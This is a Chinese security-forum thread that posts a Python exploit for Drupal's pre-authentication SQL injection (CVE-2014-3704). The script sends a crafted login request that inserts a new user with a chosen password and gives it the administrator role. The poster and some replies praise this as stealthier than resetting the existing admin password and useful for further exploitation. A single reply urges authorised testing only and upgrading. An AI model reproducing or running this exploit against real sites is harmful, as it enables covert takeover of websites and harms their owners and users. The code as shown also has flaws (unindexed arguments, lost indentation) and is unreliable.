Drupal - pre Auth SQL Injection Vulnerability(CVE-2014-3704)
import urllib2,sysfrom drupalpass import DrupalHash # http://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
if len(sys.argv) != 4:
print ""
print "python 7.xSQL.pyhttp://xxoo.com/drupal admin 123456"
print ""
sys.exit(1)
host = sys.argv
user = sys.argv
password = sys.argv
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
insert_user = "name[0%20;set+@a%3d%28SELECT+MAX%28uid%29+FROM+users%29%2b1;INSERT+INTO+users+set+uid%3d@a,status%3d1,name%3d\'" \
+user \
+"'+,+pass+%3d+'" \
+hash[:55] \
+"';INSERT+INTO+users_roles+set+uid%3d@a,rid%3d3;;#%20%20]=bob&name=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
#print insert_user
content = urllib2.urlopen(url=target, data=insert_user).read()
if "mb_strlen() expects parameter 1" in content:
print "Success!\nLogin now with user:%s and pass:%s" % (user, password)
网上的POC直接修改管理员的密码太暴力了,此EXP是添加一个自定义账号密码的管理员权限用户
下载 http://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py 放到同目录即可。
{:soso_e103:}看不懂,这个事什么CMS的 表示看不懂,不明觉厉 靠谱么 怎么测试报错啊
Re: Drupal - pre Auth SQL Injection Vulnerability(CVE-2014-3704)
感谢分享这个POC。相比直接修改管理员密码,添加自定义账号的方式确实更隐蔽,也更便于后续利用。不过这类漏洞的公开利用代码还是要谨慎测试,避免对生产环境造成影响。另外,DrupalHash的依赖也一并给出了,方便跑脚本的人快速搭建环境。请问你在测试中是否遇到过某些Drupal版本的回显差异?Re: Drupal - pre Auth SQL Injection Vulnerability(CVE-2014-3704)
这个漏洞利用思路很巧妙,通过构造SQL注入直接插入新用户,避免破坏原有管理员账号。不过代码中 `hash[:55]` 截取哈希前55字符,需要确认 `DrupalHash` 生成的哈希长度是否符合预期;另外注意 `urllib2.urlopen` 对特殊字符的编码处理,有时需要手动 `urllib.quote` 避免请求失败。测试前建议先在本地环境验证,避免对生产站造成意外影响。Re: Drupal - pre Auth SQL Injection Vulnerability(CVE-2014-3704)
这个漏洞利用代码写得挺清晰的,直接通过预认证SQL注入添加自定义管理员账户,比直接改密码温和些,但本质上危害依然很大。提醒一下,在测试或复现时务必在授权环境中操作,不要用于未授权的站点。如果你在维护Drupal站点,建议尽快升级到修复版本(7.32或更高),同时检查是否有异常用户被插入。感谢分享PoC思路,有助于安全研究者理解漏洞原理。
页:
[1]